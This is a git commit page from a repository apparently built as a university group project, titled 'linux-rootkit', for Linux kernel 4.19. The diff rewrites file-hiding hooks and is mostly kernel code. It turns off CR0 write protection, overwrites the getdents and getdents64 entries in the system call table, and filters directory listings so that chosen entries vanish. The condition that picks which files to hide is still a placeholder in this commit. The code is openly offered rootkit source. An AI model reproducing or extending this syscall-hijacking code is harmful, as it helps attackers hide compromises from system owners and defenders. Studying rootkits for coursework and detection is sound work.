linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit b8eb64075e6419774729437b60bbb8265414d0bc
parent 43fd60c2f0311d673d58cbbe3553686ea5bc3ab1
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 22 Nov 2020 15:34:35 +0100

implements getdents{,64} boilerplate

Diffstat:
Msrc/filehide.c | 67++-----------------------------------------------------------------
Msrc/filehide.h | 4----
Msrc/hook.c | 101+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
Msrc/hook.h | 13+++++++++----
Msrc/rootkit.h | 3+++
5 files changed, 113 insertions(+), 75 deletions(-)

diff --git a/src/filehide.c b/src/filehide.c @@ -1,18 +1,3 @@ -#include <linux/stddef.h> -#include <linux/kernel.h> -#include <linux/export.h> -#include <linux/time.h> -#include <linux/mm.h> -#include <linux/errno.h> -#include <linux/stat.h> -#include <linux/file.h> -#include <linux/fs.h> -#include <linux/fsnotify.h> -#include <linux/dirent.h> -#include <linux/security.h> -#include <linux/syscalls.h> -#include <linux/unistd.h> - #include "filehide.h" #include "hook.h" @@ -27,8 +12,8 @@ void hide_files(void) { disable_protection(); - sys_calls[__NR_getdents] = (void *)filehide_getdents; - sys_calls[__NR_getdents64] = (void *)filehide_getdents64; + sys_calls[__NR_getdents] = (void *)g7_getdents; + sys_calls[__NR_getdents64] = (void *)g7_getdents64; enable_protection(); } @@ -40,51 +25,3 @@ unhide_files(void) sys_calls[__NR_getdents64] = (void *)sys_getdents64; enable_protection(); } - -// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L197 -asmlinkage long -filehide_getdents(unsigned fd, struct linux_dirent __user *dirent, unsigned count) -{ - typedef struct linux_dirent __user *dirent_t_ptr; - - long offset; - long ret = ((long (*)(unsigned, dirent_t_ptr, unsigned))sys_getdents)(fd, dirent, count); - - if (ret <= 0) - return ret; - - for (offset = 0; offset < ret;) { - dirent_t_ptr cur_dirent = (dirent_t_ptr)(((char *)dirent) + offset); - - if (false) // TODO: xattrs user.rootkit = rootkit - ret -= cur_dirent->d_reclen; - else - offset += cur_dirent->d_reclen; - } - - return ret; -} - -// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L278 -asmlinkage long -filehide_getdents64(unsigned fd, struct linux_dirent64 __user *dirent, unsigned count) -{ - typedef struct linux_dirent64 __user *dirent64_t_ptr; - - long offset; - long ret = ((long (*)(unsigned, dirent64_t_ptr, unsigned))sys_getdents64)(fd, dirent, count); - - if (ret <= 0) - return ret; - - for (offset = 0; offset < ret;) { - dirent64_t_ptr cur_dirent = (dirent64_t_ptr)(((char *)dirent) + offset); - - if (false) // TODO: xattrs user.rootkit = rootkit - ret -= cur_dirent->d_reclen; - else - offset += cur_dirent->d_reclen; - } - - return ret; -} diff --git a/src/filehide.h b/src/filehide.h @@ -2,14 +2,10 @@ #define _GROUP7_FILEHIDE_H #include <linux/types.h> -#include <linux/dirent.h> #include <linux/syscalls.h> void hide_files(void); void unhide_files(void); -asmlinkage long filehide_getdents(unsigned, struct linux_dirent __user *, unsigned); -asmlinkage long filehide_getdents64(unsigned, struct linux_dirent64 __user *, unsigned); - #endif//_GROUP7_FILEHIDE_H diff --git a/src/hook.c b/src/hook.c @@ -1,11 +1,19 @@ #include <linux/kallsyms.h> +#include <linux/slab.h> #include "hook.h" void **sys_calls; -asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent __user *, unsigned); -asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 __user *, unsigned); +asmlinkage long (*sys_getdents)(const struct pt_regs *); +asmlinkage long (*sys_getdents64)(const struct pt_regs *); + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[1]; +}; int retrieve_sys_call_table(void) @@ -32,3 +40,92 @@ enable_protection(void) { write_cr0(read_cr0() | 0x10000); } + + +// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c +// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 +asmlinkage long +g7_getdents(const struct pt_regs *pt_regs) +{ + typedef struct linux_dirent *dirent_t_ptr; + + unsigned long offset; + dirent_t_ptr kdirent, cur_kdirent, prev_kdirent; + + cur_kdirent = prev_kdirent = NULL; + dirent_t_ptr dirent = (dirent_t_ptr)pt_regs->si; + long ret = sys_getdents(pt_regs); + + if (ret <= 0 || !(kdirent = (dirent_t_ptr)kzalloc(ret, GFP_KERNEL))) + return ret; + + if (copy_from_user(kdirent, dirent, ret)) + goto yield; + + for (offset = 0; offset < ret;) { + cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset); + + if (false) { // TODO: detect xattrs user.rootkit = rootkit + if (cur_kdirent == kdirent) { + ret -= cur_kdirent->d_reclen; + memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); + continue; + } + + prev_kdirent->d_reclen += cur_kdirent->d_reclen; + } else + prev_kdirent = cur_kdirent; + + offset += cur_kdirent->d_reclen; + } + + copy_to_user(dirent, kdirent, ret); + +yield: + kfree(kdirent); + return ret; +} + +// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c +// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 +asmlinkage long +g7_getdents64(const struct pt_regs *pt_regs) +{ + typedef struct linux_dirent64 *dirent64_t_ptr; + + unsigned long offset; + dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; + + cur_kdirent = prev_kdirent = NULL; + dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si; + long ret = sys_getdents64(pt_regs); + + if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL))) + return ret; + + if (copy_from_user(kdirent, dirent, ret)) + goto yield; + + for (offset = 0; offset < ret;) { + cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset); + + if (false) { // TODO: detect xattrs user.rootkit = rootkit + if (cur_kdirent == kdirent) { + ret -= cur_kdirent->d_reclen; + memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); + continue; + } + + prev_kdirent->d_reclen += cur_kdirent->d_reclen; + } else + prev_kdirent = cur_kdirent; + + offset += cur_kdirent->d_reclen; + } + + copy_to_user(dirent, kdirent, ret); + +yield: + kfree(kdirent); + return ret; +} diff --git a/src/hook.h b/src/hook.h @@ -8,12 +8,13 @@ extern void **sys_calls; typedef struct { - void *ours; + bool active; + void *hook; void *orig; -} hook_t; +} sc_hook_t; -extern asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent __user *, unsigned); -extern asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 __user *, unsigned); +extern asmlinkage long (*sys_getdents)(const struct pt_regs *); +extern asmlinkage long (*sys_getdents64)(const struct pt_regs *); int retrieve_sys_call_table(void); void init_hooks(void); @@ -21,4 +22,8 @@ void init_hooks(void); void disable_protection(void); void enable_protection(void); + +asmlinkage long g7_getdents(const struct pt_regs *); +asmlinkage long g7_getdents64(const struct pt_regs *); + #endif//_GROUP7_HOOK_H diff --git a/src/rootkit.h b/src/rootkit.h @@ -1,7 +1,10 @@ #ifndef _GROUP7_ROOTKIT_H #define _GROUP7_ROOTKIT_H +#include "hook.h" + typedef struct { + sc_hook_t hooks[16]; bool hiding_files; } rootkit_t;